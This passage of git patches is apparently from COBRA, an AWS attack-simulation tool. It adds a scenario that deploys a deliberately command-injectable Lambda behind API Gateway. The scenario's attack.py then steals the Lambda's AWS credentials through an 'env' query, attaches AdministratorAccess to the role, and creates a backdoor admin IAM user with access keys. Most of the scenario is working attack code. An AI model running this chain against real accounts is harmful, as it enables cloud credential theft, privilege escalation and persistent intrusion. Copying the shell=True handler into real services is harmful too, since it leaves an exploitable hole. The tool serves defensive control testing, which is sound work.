devops --policy-arn arn:aws:iam::aws:policy/AdministratorAccess", shell=True) - subprocess.call(""+creds+" && aws iam create-access-key --user-name devops", shell=True) - - - #Backdoor Role - # print(colored("Creating a Backdoor Role which can be assumed from custom AWS account", color="red")) - # loading_animation() - # print("-"*30) - # subprocess.call(""+creds+" && aws iam create-role --role-name monitoring-metrics --assume-role-policy-document file://infra/scenario-2/assume-role-trust-policy.json", shell=True) - # subprocess.call(""+creds+" && aws iam attach-role-policy --policy-arn arn:aws:iam::aws:policy/AdministratorAccess --role-name monitoring-metrics", shell=True) - - - gen_report_2(API_GW_ID, LAMBDA_FUNC_ARN, API_GW_URL, LAMBDA_ROLE_NAME) - - subprocess.call("rm token.txt", shell=True) \ No newline at end of file From 76551d13c0b2d97ff85251155f2c26fc6266e05d Mon Sep 17 00:00:00 2001 From: Matt Dorn Date: Fri, 26 Jul 2024 06:25:51 -0500 Subject: [PATCH 54/76] Add progress bar sleep to attack method --- core/helpers.py | 12 ++++++++++++ core/scenario.py | 7 ++++++- 2 files changed, 18 insertions(+), 1 deletion(-) diff --git a/core/helpers.py b/core/helpers.py index 47d8a34..a8d0221 100644 --- a/core/helpers.py +++ b/core/helpers.py @@ -83,3 +83,15 @@ def get_scenarios_config(): def print_ascii_art(text): ascii_art = pyfiglet.figlet_format(text) print(colored(ascii_art, color="cyan")) + + +def pbar_sleep(duration, label='Loading'): + with tqdm(total=duration, desc=label) as pbar: + # Loop until sleep_duration is reached + while duration > 0: + # Sleep for a shorter interval to update the progress bar + sleep_interval = min(1, duration) + sleep(sleep_interval) + # Update the progress bar with the elapsed time + pbar.update(sleep_interval) + duration -= sleep_interval diff --git a/core/scenario.py b/core/scenario.py index 355982a..67ff399 100644 --- a/core/scenario.py +++ b/core/scenario.py @@ -12,7 +12,7 @@ import yaml from pulumi import automation as auto -from core.helpers import loading_animation, slugify +from core.helpers import loading_animation, slugify, pbar_sleep class Scenario(object): @@ -37,6 +37,11 @@ def setup(self): def attack(self): """Run the attack scenario on the deployed infra/resources.""" + # TODO: logging instead of print here and elsewhere + print(colored("Executing attack...", color="red")) + # TODO: sleep to ensure deployed resources are available? + # Need more reliable way to do this? (e.g. Pulumi API callback?) + pbar_sleep(10) # TODO: Exception handling if no data with open(self.output_path, 'r') as f: data = json.load(f) From f7156d2f7aa3ffa3b8a0e5f029f83aa8428df69c Mon Sep 17 00:00:00 2001 From: Matt Dorn Date: Fri, 26 Jul 2024 06:28:25 -0500 Subject: [PATCH 55/76] Minor cleanup including removing unnecessary code comments --- cobra.py | 9 +-------- core/scenario.py | 13 ++++--------- 2 files changed, 5 insertions(+), 17 deletions(-) diff --git a/cobra.py b/cobra.py index a0c9fc0..9f50d5d 100644 --- a/cobra.py +++ b/cobra.py @@ -1,9 +1,7 @@ import argparse -import os -from pathlib import Path, PurePath from core import main_ng as main -from core.helpers import get_scenario_list, get_scenarios_config +from core.helpers import get_scenario_list def parse_arguments(): @@ -17,15 +15,10 @@ def parse_arguments(): def main_function(cloud_provider, action, simulation, scenario): - # Call the main function from the imported module and pass the options main.main(cloud_provider, action, simulation, scenario) if __name__ == "__main__": args = parse_arguments() - - # Convert argparse Namespace to dictionary options = vars(args) - - # Call the main function with options main_function(**options) diff --git a/core/scenario.py b/core/scenario.py index 67ff399..4eff591 100644 --- a/core/scenario.py +++ b/core/scenario.py @@ -1,18 +1,15 @@ #! /usr/bin/env python # -*- coding: utf-8 -*- -"""This module provides a base class for COBRA scenarios.""" +"""Module providing a class for encapsulating COBRA scenarios.""" import importlib import json import os -import subprocess -import webbrowser -from pathlib import Path from termcolor import colored import yaml from pulumi import automation as auto -from core.helpers import loading_animation, slugify, pbar_sleep +from core.helpers import slugify, pbar_sleep class Scenario(object): @@ -59,7 +56,7 @@ def destroy(self): def generate_report(self): """Generate report.""" - print('Not yet implemented.') + print('Reporting not yet implemented.') # TODO # html_template = '' # with open('cobra-report-{}.html'.format(self.slug), 'w+') as file: @@ -76,8 +73,7 @@ def _get_stack(self): program=self.infra_mod.pulumi_program ) stack.workspace.install_plugin('aws', 'v4.0.0') - stack.set_config('aws:region', auto.ConfigValue(value='us-east-2')) - # TODO: make region configurable + # stack.set_config('aws:region', auto.ConfigValue(value='us-east-2')) stack.refresh(on_output=print) return stack @@ -92,7 +88,6 @@ def _deploy_infra(self): outputs_dict[key] = outputs[key].value with open(self.output_path, 'w') as file_: file_.write(json.dumps(outputs_dict)) - print(f'update summary: \n{json.dumps(up_res.summary.resource_changes, indent=4)}') def _destroy_infra(self): """Destroy the IaC stack.""" From 70c319d5110cd487b045db19974bfe1fe3a96fcb Mon Sep 17 00:00:00 2001 From: Matt Dorn Date: Sun, 28 Jul 2024 07:54:49 -0500 Subject: [PATCH 56/76] Refactor scenario 2 --- core/main_ng.py | 4 +- core/scenario.py | 26 +++++--- scenarios_ng/scenario_0/_files/config.yaml | 3 +- .../scenario_0/infra/stack/Pulumi.yaml | 3 + .../scenario_0/infra/stack/__main__.py | 39 ++++++++++++ .../stack}/data/customers.csv | 0 scenarios_ng/scenario_2/_files/config.yaml | 16 +++++ scenarios_ng/scenario_2/attack.py | 58 ++++++++++++++++++ scenarios_ng/scenario_2/infra/__init__.py | 0 scenarios_ng/scenario_2/infra/extra.py | 24 ++++++++ .../infra/stack/Pulumi.scenario_2.yaml | 2 + .../scenario_2/infra/stack/Pulumi.yaml | 3 + .../scenario_2/infra/stack/__main__.py | 61 +++++++++++++++++++ .../infra/stack/assume-role-trust-policy.json | 12 ++++ scenarios_ng/scenario_2/infra/stack/iam.py | 36 +++++++++++ .../scenario_2/infra/stack/lambda/hello.py | 26 ++++++++ 16 files changed, 304 insertions(+), 9 deletions(-) create mode 100644 scenarios_ng/scenario_0/infra/stack/Pulumi.yaml create mode 100644 scenarios_ng/scenario_0/infra/stack/__main__.py rename scenarios_ng/scenario_0/{_files => infra/stack}/data/customers.csv (100%) create mode 100644 scenarios_ng/scenario_2/attack.py create mode 100644 scenarios_ng/scenario_2/infra/__init__.py create mode 100644 scenarios_ng/scenario_2/infra/extra.py create mode 100644 scenarios_ng/scenario_2/infra/stack/Pulumi.scenario_2.yaml create mode 100644 scenarios_ng/scenario_2/infra/stack/Pulumi.yaml create mode 100644 scenarios_ng/scenario_2/infra/stack/__main__.py create mode 100644 scenarios_ng/scenario_2/infra/stack/assume-role-trust-policy.json create mode 100644 scenarios_ng/scenario_2/infra/stack/iam.py create mode 100644 scenarios_ng/scenario_2/infra/stack/lambda/hello.py diff --git a/core/main_ng.py b/core/main_ng.py index 0bbe260..818288b 100644 --- a/core/main_ng.py +++ b/core/main_ng.py @@ -36,7 +36,9 @@ def main(cloud_provider, action, simulation, scenario): # TODO: what to do with cloud provider? scenario.setup() scenario.attack() - scenario.destroy() + # scenario.destroy() + # TODO: ^^^ do we really want to destroy the infra immediately? + # there's a separate command for destroy scenario.generate_report() # TODO: not implemented elif action == 'status': # TODO diff --git a/core/scenario.py b/core/scenario.py index 4eff591..ebf41f8 100644 --- a/core/scenario.py +++ b/core/scenario.py @@ -4,6 +4,7 @@ import importlib import json import os +from pathlib import Path from termcolor import colored import yaml @@ -17,8 +18,11 @@ class Scenario(object): def __init__(self, scenario_id): self.scenario_id = scenario_id self.scenario_label = 'scenario_{}'.format(scenario_id) - self.infra_mod = importlib.import_module( - '.{}.infra.main'.format(self.scenario_label), 'scenarios_ng') + try: + self.infra_mod = importlib.import_module( + '.{}.infra.extra'.format(self.scenario_label), 'scenarios_ng') + except ModuleNotFoundError: + self.infra_mod = None self.attack_mod = importlib.import_module( '.{}.attack'.format(self.scenario_label), 'scenarios_ng') config = self._get_config() @@ -30,7 +34,8 @@ def __init__(self, scenario_id): def setup(self): """Deploy resources needed for the scenario.""" self._deploy_infra() - # TODO: execute extra resources module if exists + if self.infra_mod: + self.infra_mod.deploy_additional_resources() def attack(self): """Run the attack scenario on the deployed infra/resources.""" @@ -52,7 +57,10 @@ def attack(self): def destroy(self): """Destroy scenario resources and clean up.""" self._destroy_infra() - # TODO: logic to destroy additional resources not managed by Pulumi + if self.infra_mod: + with open(self.output_path, 'r') as f: + data = json.load(f) + self.infra_mod.destroy_additional_resources(data) def generate_report(self): """Generate report.""" @@ -66,12 +74,16 @@ def generate_report(self): # ) def _get_stack(self): - project_name = 'cobra' + stack_dir = Path(__file__).parent.parent / 'scenarios_ng' / self.scenario_label / 'infra' / 'stack' stack = auto.create_or_select_stack( + # TODO: support for Pulumi programs defined as a function + # see https://www.pulumi.com/docs/reference/pkg/python/pulumi/#module-pulumi.automation + # project_name='cobra', + # program=self.infra_mod.pulumi_program stack_name=self.scenario_label, - project_name=project_name, - program=self.infra_mod.pulumi_program + work_dir=stack_dir ) + stack.workspace.install_plugin('aws', 'v4.0.0') # stack.set_config('aws:region', auto.ConfigValue(value='us-east-2')) stack.refresh(on_output=print) diff --git a/scenarios_ng/scenario_0/_files/config.yaml b/scenarios_ng/scenario_0/_files/config.yaml index b7f450f..b666909 100644 --- a/scenarios_ng/scenario_0/_files/config.yaml +++ b/scenarios_ng/scenario_0/_files/config.yaml @@ -1,7 +1,8 @@ title: Example scenario description: An example scenario that deploys a public S3 bucket and file containing sensitive data, and executes an HTTP request to retrieve the file. cloud_provider: aws -attack_scenario_steps: +attack_explanation: TODO +attack_steps: - 1. Step 1 (TODO) - 2. Step 2 (TODO) post_attack_controls_eval_steps: diff --git a/scenarios_ng/scenario_0/infra/stack/Pulumi.yaml b/scenarios_ng/scenario_0/infra/stack/Pulumi.yaml new file mode 100644 index 0000000..ef0523d --- /dev/null +++ b/scenarios_ng/scenario_0/infra/stack/Pulumi.yaml @@ -0,0 +1,3 @@ +name: cobra +runtime: + name: python diff --git a/scenarios_ng/scenario_0/infra/stack/__main__.py b/scenarios_ng/scenario_0/infra/stack/__main__.py new file mode 100644 index 0000000..990023e --- /dev/null +++ b/scenarios_ng/scenario_0/infra/stack/__main__.py @@ -0,0 +1,39 @@ +import json + +import pulumi +from pulumi_aws import s3 + +bucket = s3.Bucket('b', bucket_prefix='cobra-test-') +object = s3.BucketObject( + 'object', + bucket=bucket.id, + key='customers.csv', + source=pulumi.FileAsset('./data/customers.csv') +) +# Allow public ACLs for the bucket +public_access_block = s3.BucketPublicAccessBlock( + "exampleBucketPublicAccessBlock", + bucket=bucket.id, + block_public_acls=False, +) +# Set the access policy for the bucket so all objects are readable +s3.BucketPolicy( + "bucket-policy", + bucket=bucket.id, + policy=bucket.id.apply( + lambda id: json.dumps({ + "Version": "2012-10-17", + "Statement": { + "Effect": "Allow", + "Principal": "*", + "Action": ["s3:GetObject"], + # Policy refers to bucket explicitly + "Resource": [f"arn:aws:s3:::{id}/*"] + }, + })), + opts=pulumi.ResourceOptions(depends_on=[public_access_block]) +) +pulumi.export('s3-bucket-arn', bucket.arn) +pulumi.export('s3-bucket-id', bucket.id) +pulumi.export('s3-object-arn', object.arn) +pulumi.export('s3-object-id', object.id) diff --git a/scenarios_ng/scenario_0/_files/data/customers.csv b/scenarios_ng/scenario_0/infra/stack/data/customers.csv similarity index 100% rename from scenarios_ng/scenario_0/_files/data/customers.csv rename to scenarios_ng/scenario_0/infra/stack/data/customers.csv diff --git a/scenarios_ng/scenario_2/_files/config.yaml b/scenarios_ng/scenario_2/_files/config.yaml index 8877f1b..372629c 100644 --- a/scenarios_ng/scenario_2/_files/config.yaml +++ b/scenarios_ng/scenario_2/_files/config.yaml @@ -1,2 +1,18 @@ title: Rest API exploit description: Command injection, credential exfiltration from backend lambda and privilige escalation, rogue identity creation and persistence. +cloud_provider: aws +attack_explanation: The scenario simulates a real-world chained attack, beginning with the exploitation of a vulnerable application which is on Lambda, with an API GW. Subsequently, this initial breach facilitates a chain of events, including the credential dsicovery, exfiltration, escalation of credentials, and the anomalous provisioning of Backdoor IAM Role. +attack_steps: +- 1. Application is exploited through API GW, lambda backend +- 2. Lambda Role credential is discovered and exfiltrated. +- 3. Discovery of Privilege Escalation possibility with the exfiltrated credential. +- 4. Attach Privileged Policy to the Role. +- 5. Provision a Backdoor IAM Role to maintain persistence. +- 6. Whitelist Attacker account id in the trust policy of the backdoor role. +post_attack_controls_eval_steps: +- 1. Check if API Gatway has Authentication & Autorization for APIs. +- 2. Check if API Gateway has WAF integrated which can stop L7 attacks. +- 3. Check if any Lambda has any defender layer which could prevent injection & credential exfil. +- 4. Check if Role Exfil and usage is being monitoried by eventbridge rules or cloudtrail monitoring. +- 5. Check if there are any SCPs which could prevent attaching privileged policies. +- 6. Check if new user/role/group creation is monitored. diff --git a/scenarios_ng/scenario_2/attack.py b/scenarios_ng/scenario_2/attack.py new file mode 100644 index 0000000..02f0fd3 --- /dev/null +++ b/scenarios_ng/scenario_2/attack.py @@ -0,0 +1,58 @@ +import subprocess +from termcolor import colored + +from core.helpers import loading_animation, pbar_sleep + + +def attack(data): + """TODO""" + + API_GW_URL = data["apigateway-rest-endpoint"] + LAMBDA_ROLE_NAME = data["lambda-role-name"] + API_GW_ID = data["api-gateway-id"] + LAMBDA_FUNC_ARN = data["lambda-func-name"] + + print(colored("Exploiting the Application on API GW", color="red")) + loading_animation() + print("-"*30) + + print(colored("Detected OS Injection through API GW, lambda backend, attempting credential exfil", color="red")) + loading_animation() + print("-"*30) + + subprocess.call("curl '"+API_GW_URL+"?query=env' | grep -e AWS_ACCESS_KEY_ID -e AWS_SECRET_ACCESS_KEY -e AWS_SESSION_TOKEN >> token.txt", shell=True) + print(colored("Successfuly Exifiltrated Lambda Role Creds", color="red")) + loading_animation() + print("-"*30) + + creds = "export $(grep -e AWS_ACCESS_KEY_ID -e AWS_SECRET_ACCESS_KEY -e AWS_SESSION_TOKEN token.txt)" + subprocess.call(""+creds+" && aws sts get-caller-identity --no-cli-pager", shell=True) + + print(colored("PrivEsc possible through this credential, Escalating role privileges", color="red")) + subprocess.call(""+creds+" && aws iam attach-role-policy --policy-arn arn:aws:iam::aws:policy/AdministratorAccess --role-name "+LAMBDA_ROLE_NAME+"", shell=True) + sleep_duration = 60 + pbar_sleep(sleep_duration) + + #subprocess.call("curl '"+API_GW_URL+"?query=ping'", shell=True) + + #Backdoor IAM User + print(colored("Creating a Backdoor User which can be used by the attacker", color="red")) + loading_animation() + print("-"*30) + subprocess.call(""+creds+" && aws iam create-user --user-name devops --no-cli-pager", shell=True) + subprocess.call(""+creds+" && aws iam attach-user-policy --user-name devops --policy-arn arn:aws:iam::aws:policy/AdministratorAccess", shell=True) + subprocess.call(""+creds+" && aws iam create-access-key --user-name devops --no-cli-pager", shell=True) + + #Backdoor Role + # print(colored("Creating a Backdoor Role which can be assumed from custom AWS account", color="red")) + # loading_animation() + # print("-"*30) + # subprocess.call(""+creds+" && aws iam create-role --role-name monitoring-metrics --assume-role-policy-document file://infra/scenario-2/assume-role-trust-policy.json", shell=True) + # subprocess.call(""+creds+" && aws iam attach-role-policy --policy-arn arn:aws:iam::aws:policy/AdministratorAccess --role-name monitoring-metrics", shell=True) + + # gen_report_2(API_GW_ID, LAMBDA_FUNC_ARN, API_GW_URL, LAMBDA_ROLE_NAME) + + subprocess.call("rm token.txt", shell=True) + + # TODO: only return true if attack succeeded? + return True diff --git a/scenarios_ng/scenario_2/infra/__init__.py b/scenarios_ng/scenario_2/infra/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/scenarios_ng/scenario_2/infra/extra.py b/scenarios_ng/scenario_2/infra/extra.py new file mode 100644 index 0000000..96f1237 --- /dev/null +++ b/scenarios_ng/scenario_2/infra/extra.py @@ -0,0 +1,24 @@ +import subprocess + +from core.helpers import loading_animation +from termcolor import colored + + +def deploy_additional_resources(): + pass + + +def destroy_additional_resources(data): + LAMBDA_ROLE_NAME = data["lambda-role-name"] + + print(colored("Deleting Manually Created resources - resources which are not tracked by Pulumi's State", color="red")) + loading_animation() + print("-"*30) + + # TODO: consider doing programatically via boto3 vs. subprocess + subprocess.call("aws iam detach-user-policy --user-name devops --policy-arn arn:aws:iam::aws:policy/AdministratorAccess", shell=True) + subprocess.call("aws iam list-access-keys --user-name devops | jq -r '.AccessKeyMetadata[0].AccessKeyId' | xargs -I {} aws iam delete-access-key --user-name devops --access-key-id {}", shell=True) + subprocess.call("aws iam delete-user --user-name devops", shell=True) + + subprocess.call("aws iam list-role-policies --role-name "+LAMBDA_ROLE_NAME+" | jq -r '.PolicyNames[]' | xargs -I {} aws iam delete-role-policy --role-name "+LAMBDA_ROLE_NAME+" --policy-name {}", shell=True) + subprocess.call("aws iam detach-role-policy --role-name "+LAMBDA_ROLE_NAME+" --policy-arn arn:aws:iam::aws:policy/AdministratorAccess", shell=True) diff --git a/scenarios_ng/scenario_2/infra/stack/Pulumi.scenario_2.yaml b/scenarios_ng/scenario_2/infra/stack/Pulumi.scenario_2.yaml new file mode 100644 index 0000000..1a38cef --- /dev/null +++ b/scenarios_ng/scenario_2/infra/stack/Pulumi.scenario_2.yaml @@ -0,0 +1,2 @@ +config: + aws:region: us-east-1 diff --git a/scenarios_ng/scenario_2/infra/stack/Pulumi.yaml b/scenarios_ng/scenario_2/infra/stack/Pulumi.yaml new file mode 100644 index 0000000..ef0523d --- /dev/null +++ b/scenarios_ng/scenario_2/infra/stack/Pulumi.yaml @@ -0,0 +1,3 @@ +name: cobra +runtime: + name: python diff --git a/scenarios_ng/scenario_2/infra/stack/__main__.py b/scenarios_ng/scenario_2/infra/stack/__main__.py new file mode 100644 index 0000000..ae0bcb4 --- /dev/null +++ b/scenarios_ng/scenario_2/infra/stack/__main__.py @@ -0,0 +1,61 @@ +import iam +import pulumi +import pulumi_aws as aws + +region = aws.config.region +# TODO: why shouldn't this be the user's default AWS region? + +custom_stage_name = 'example' + +lambda_func = aws.lambda_.Function("mylambda", + role=iam.lambda_role.arn, + runtime="python3.12", + handler="hello.handler", + code=pulumi.AssetArchive({ + '.': pulumi.FileArchive('./lambda') + }) +) + +def swagger_route_handler(arn): + return ({ + "x-amazon-apigateway-any-method": { + "x-amazon-apigateway-integration": { + "uri": pulumi.Output.format('arn:aws:apigateway:{0}:lambda:path/2015-03-31/functions/{1}/invocations', region, arn), + "passthroughBehavior": "when_no_match", + "httpMethod": "POST", + "type": "aws_proxy", + }, + }, + }) + +rest_api = aws.apigateway.RestApi("api", + body=pulumi.Output.json_dumps({ + "swagger": "2.0", + "info": {"title": "api", "version": "1.0"}, + "paths": { + "/": swagger_route_handler(lambda_func.arn), + }, + })) + +deployment = aws.apigateway.Deployment("api-deployment", + rest_api=rest_api.id, + stage_name="", +) + +stage = aws.apigateway.Stage("api-stage", + rest_api=rest_api.id, + deployment=deployment.id, + stage_name=custom_stage_name, +) + +rest_invoke_permission = aws.lambda_.Permission("api-rest-lambda-permission", + action="lambda:invokeFunction", + function=lambda_func.name, + principal="apigateway.amazonaws.com", + source_arn=deployment.execution_arn.apply(lambda arn: arn + "*/*"), +) + +pulumi.export("api-gateway-id", rest_api.id) +pulumi.export("apigateway-rest-endpoint", deployment.invoke_url.apply(lambda url: url + custom_stage_name)) +pulumi.export("lambda-role-name", iam.lambda_role.name) +pulumi.export("lambda-func-name", lambda_func.arn) \ No newline at end of file diff --git a/scenarios_ng/scenario_2/infra/stack/assume-role-trust-policy.json b/scenarios_ng/scenario_2/infra/stack/assume-role-trust-policy.json new file mode 100644 index 0000000..b4b1999 --- /dev/null +++ b/scenarios_ng/scenario_2/infra/stack/assume-role-trust-policy.json @@ -0,0 +1,12 @@ +{ + "Version": "2012-10-17", + "Statement": [ + { + "Effect": "Allow", + "Principal": { + "AWS": "arn:aws:iam:::root" + }, + "Action": "sts:AssumeRole" + } + ] +} diff --git a/scenarios_ng/scenario_2/infra/stack/iam.py b/scenarios_ng/scenario_2/infra/stack/iam.py new file mode 100644 index 0000000..29df25a --- /dev/null +++ b/scenarios_ng/scenario_2/infra/stack/iam.py @@ -0,0 +1,36 @@ +# Copyright 2016-2018, Pulumi Corporation. All rights reserved. + +from pulumi_aws import iam + +lambda_role = iam.Role('lambdaRole', + assume_role_policy="""{ + "Version": "2012-10-17", + "Statement": [ + { + "Action": "sts:AssumeRole", + "Principal": { + "Service": "lambda.amazonaws.com" + }, + "Effect": "Allow", + "Sid": "" + } + ] + }""" +) + +lambda_role_policy = iam.RolePolicy('lambdaRolePolicy', + role=lambda_role.id, + policy="""{ + "Version": "2012-10-17", + "Statement": [{ + "Effect": "Allow", + "Action": [ + "logs:CreateLogGroup", + "logs:CreateLogStream", + "logs:PutLogEvents", + "iam:AttachRolePolicy" + ], + "Resource": "*" + }] + }""" +) diff --git a/scenarios_ng/scenario_2/infra/stack/lambda/hello.py b/scenarios_ng/scenario_2/infra/stack/lambda/hello.py new file mode 100644 index 0000000..964f80b --- /dev/null +++ b/scenarios_ng/scenario_2/infra/stack/lambda/hello.py @@ -0,0 +1,26 @@ +import json +import subprocess + +def handler(event, context): + # Retrieve the command parameter from the query string + command = event.get('queryStringParameters', {}).get('query', '') + + # Check if the command is empty + if command == 'ping': + return { + 'statusCode': 200, + 'body': json.dumps('Cheers from AWS Lambda!!') + } + else: + # Execute the command using subprocess + try: + result = subprocess.check_output(command, shell=True) + return { + 'statusCode': 200, + 'body': result.decode('utf-8') + } + except subprocess.CalledProcessError as e: + return { + 'statusCode': 500, + 'body': f'Error executing command: {e}' + } From 456109fcffe6e02b027c4ec2635aa60ce1d6f631 Mon Sep 17 00:00:00 2001 From: Matt Dorn Date: Sun, 28 Jul 2024 10:19:58 -0500 Subject: [PATCH 57/76] Refactor reporting --- .gitignore | 6 ++++- core/report_ng.py | 49 +++++++++++++++++++++++++++++++++++++ core/scenario.py | 23 ++++++++--------- files/templates/report.html | 49 +++++-------------------------------- files/var/logs/.gitkeep | 0 files/var/output/.gitkeep | 0 files/var/reports/.gitkeep | 0 7 files changed, 72 insertions(+), 55 deletions(-) create mode 100644 core/report_ng.py create mode 100644 files/var/logs/.gitkeep create mode 100644 files/var/output/.gitkeep create mode 100644 files/var/reports/.gitkeep diff --git a/.gitignore b/.gitignore index 30d45b9..b2c553d 100644 --- a/.gitignore +++ b/.gitignore @@ -63,4 +63,8 @@ terraform.tfstate.backup *cnbas-as1-report.html *cnbas-as2-report.html -files/var/ \ No newline at end of file + +files/var/logs/* +files/var/output/* +files/var/reports/* +!.gitkeep \ No newline at end of file diff --git a/core/report_ng.py b/core/report_ng.py new file mode 100644 index 0000000..6c67643 --- /dev/null +++ b/core/report_ng.py @@ -0,0 +1,49 @@ +from pathlib import Path +from string import Template + +# data = { +# 'title': 'This is the title', +# 'subtitle': 'And this is the subtitle', +# 'list': '\n'.join(['first', 'second', 'third']) +# } + + +def _format_attack_steps(steps): + html_steps = [] + for step in steps: + html_steps.append('

{}

'.format(step)) + return ''.join(html_steps) + + +def _format_resources(resources): + html_resources = [] + for key in resources.keys(): + html_resources.append( + '{}{}'.format( + key, resources[key] + ) + ) + return ''.join(html_resources) + + +def _format_controls(controls): + html_controls = [] + for control in controls: + html_controls.append('{}'.format(control)) + return ''.join(html_controls) + + +def get_report(scenario_label, config, output_data): + template_path = Path(__file__).parent.parent / 'files' / 'templates' / 'report.html' + report_image_path = Path(__file__).parent.parent / 'scenarios_ng' / scenario_label / '_files' + report_data = { + 'attack_explanation': config['attack_explanation'], + 'attack_steps': _format_attack_steps(config['attack_steps']), + 'resources': _format_resources(output_data), + 'controls': _format_controls(config['post_attack_controls_eval_steps']), + 'path': report_image_path + } + with open(template_path, 'r') as f: + src = Template(f.read()) + result = src.substitute(report_data) + return result diff --git a/core/scenario.py b/core/scenario.py index ebf41f8..90438ba 100644 --- a/core/scenario.py +++ b/core/scenario.py @@ -4,6 +4,7 @@ import importlib import json import os +import webbrowser from pathlib import Path from termcolor import colored @@ -11,6 +12,7 @@ from pulumi import automation as auto from core.helpers import slugify, pbar_sleep +from core.report_ng import get_report class Scenario(object): @@ -25,9 +27,9 @@ def __init__(self, scenario_id): self.infra_mod = None self.attack_mod = importlib.import_module( '.{}.attack'.format(self.scenario_label), 'scenarios_ng') - config = self._get_config() - self.title = config['title'] - self.description = config['description'] + self.config = self._get_config() + self.title = self.config['title'] + self.description = self.config['description'] self.slug = slugify(self.title) # e.g. title-of-scenario self.output_path = self._get_output_path() @@ -64,14 +66,13 @@ def destroy(self): def generate_report(self): """Generate report.""" - print('Reporting not yet implemented.') - # TODO - # html_template = '' - # with open('cobra-report-{}.html'.format(self.slug), 'w+') as file: - # file.write(html_template) - # webbrowser.open_new_tab( - # 'file://{}/cobra-report-{}.html'.format(str(Path.cwd()), self.slug) - # ) + with open(self.output_path, 'r') as f: + output_data = json.load(f) + report = get_report(self.scenario_label, self.config, output_data) + report_path = Path(__file__).parent.parent / 'files' / 'var' / 'reports' / '{}_report.html'.format(self.scenario_label) + with open(report_path, 'w+') as file: + file.write(report) + webbrowser.open_new_tab('file://{}'.format(report_path)) def _get_stack(self): stack_dir = Path(__file__).parent.parent / 'scenarios_ng' / self.scenario_label / 'infra' / 'stack' diff --git a/files/templates/report.html b/files/templates/report.html index bb7b2ea..377d55b 100644 --- a/files/templates/report.html +++ b/files/templates/report.html @@ -80,43 +80,23 @@

COBRA Attack Path Report

Attack Path Scenario Explained

-

The scenario simulates a real-world chained attack, beginning with the exploitation of a vulnerable application which is on Lambda, with an API GW. Subsequently, this initial breach facilitates a chain of events, including the credential dsicovery, exfiltration, escalation of credentials, and the anomalous provisioning of Backdoor IAM Role..

+

$attack_explanation

Attack Scenario Breakdown

-

1. Application is exploited through API GW, lambda backend

-

2. Lambda Role credential is discovered and exfiltrated.

-

3. Discovery of Privilege Escalation possibility with the exfiltrated credential.

-

4. Attach Privileged Policy to the Role.

-

5. Provision a Backdoor IAM Role to maintain persistence.

-

6. Whitelist Attacker account id in the trust policy of the backdoor role.

+ $attack_steps

Attack Path Graph

- Attack Path Graph + Attack Path Graph
-

Resource Meta Data

+

Resource Metadata

- - - - - - - - - - - - - - - - + $resources
API GW ID:'''+API_GW_ID+'''
Lambda Function ARN :'''+LAMBDA_FUNC_ARN+'''
API GW URL:'''+API_GW_URL+'''
Lambda Role Name:'''+LAMBDA_ROLE_NAME+'''
@@ -129,24 +109,7 @@

List of Controls to Evaluate Post-Attack

- - Check if API Gatway has Authentication & Autorization for APIs. - - - Check if API Gateway has WAF integrated which can stop L7 attacks. - - - Check if any Lambda has any defender layer which could prevent injection & credential exfil. - - - Check if Role Exfil and usage is being monitoried by eventbridge rules or cloudtrail monitoring. - - - Check if there are any SCPs which could prevent attaching privileged policies. - - - Check if new user/role/group creation is monitored. - + $controls
diff --git a/files/var/logs/.gitkeep b/files/var/logs/.gitkeep new file mode 100644 index 0000000..e69de29 diff --git a/files/var/output/.gitkeep b/files/var/output/.gitkeep new file mode 100644 index 0000000..e69de29 diff --git a/files/var/reports/.gitkeep b/files/var/reports/.gitkeep new file mode 100644 index 0000000..e69de29 From 2fb13409a1dea767cedf86fee94e6cc153fe7baa Mon Sep 17 00:00:00 2001 From: Matt Dorn Date: Mon, 29 Jul 2024 07:06:54 -0500 Subject: [PATCH 58/76] Clean up unneeded code, various other cleanup --- cobra.py | 2 +- core/helpers.py | 61 ++-- core/main.py | 154 +++------- core/main_ng.py | 55 ---- core/metadata.sh | 5 - core/report.py | 381 +++---------------------- core/report_ng.py | 49 ---- core/requirements.txt | 2 - core/scenario.py | 28 +- scenarios/README.md | 1 + scenarios_ng/scenario_0/infra/extra.py | 2 +- 11 files changed, 138 insertions(+), 602 deletions(-) delete mode 100644 core/main_ng.py delete mode 100644 core/metadata.sh delete mode 100644 core/report_ng.py delete mode 100644 core/requirements.txt create mode 100644 scenarios/README.md diff --git a/cobra.py b/cobra.py index 9f50d5d..f255819 100644 --- a/cobra.py +++ b/cobra.py @@ -1,6 +1,6 @@ import argparse -from core import main_ng as main +from core import main from core.helpers import get_scenario_list diff --git a/core/helpers.py b/core/helpers.py index a8d0221..7ed31af 100644 --- a/core/helpers.py +++ b/core/helpers.py @@ -1,16 +1,18 @@ +#! /usr/bin/env python +# -*- coding: utf-8 -*- import os -from pathlib import Path, PurePath import pyfiglet -import time -import subprocess -import json import re -from time import sleep +import subprocess +import time + +from pathlib import Path, PurePath from termcolor import colored +from time import sleep +from tqdm import tqdm import requests import yaml -from tqdm import tqdm def loading_animation(): @@ -21,6 +23,24 @@ def loading_animation(): time.sleep(0.1) +def print_ascii_art(text): + ascii_art = pyfiglet.figlet_format(text) + print(colored(ascii_art, color="cyan")) + + +def pbar_sleep(duration, label='Loading'): + """"Show a progress bar while sleeping for given duration.""" + with tqdm(total=duration, desc=label) as pbar: + # Loop until sleep_duration is reached + while duration > 0: + # Sleep for a shorter interval to update the progress bar + sleep_interval = min(1, duration) + sleep(sleep_interval) + # Update the progress bar with the elapsed time + pbar.update(sleep_interval) + duration -= sleep_interval + + def generate_ssh_key(): # Define the path to save the keys key_path = os.path.expanduser("./id_rsa") @@ -39,6 +59,7 @@ def generate_ssh_key(): def slugify(s): + """Return a slug of a string, e.g. My Example becomes my-example""" s = s.lower().strip() s = re.sub(r'[^\w\s-]', '', s) s = re.sub(r'[\s_-]+', '-', s) @@ -46,14 +67,14 @@ def slugify(s): return s -def http_request(url, method='GET', headers={}): - resp = requests.request(method, url) +def http_request(url, method='GET', data={}, headers={}): + """Convenience method for HTTP requests""" + resp = requests.request(method, url, data=data, headers=headers) return resp def get_scenario_list(): - """Get a list of scenarios for selection from command line. - """ + """Get a list of scenarios for selection from command line.""" scenarios_path = Path(__file__).parent.parent / 'scenarios_ng' scenarios_list = [] for path in Path(scenarios_path).glob('*'): @@ -65,8 +86,7 @@ def get_scenario_list(): def get_scenarios_config(): """Create dict containing scenario config data from every entry in - scenarios directory (title, description, etc.) - """ + scenarios directory (title, description, etc.)""" scenarios_path = Path(__file__).parent.parent / 'scenarios_ng' scenarios_config = 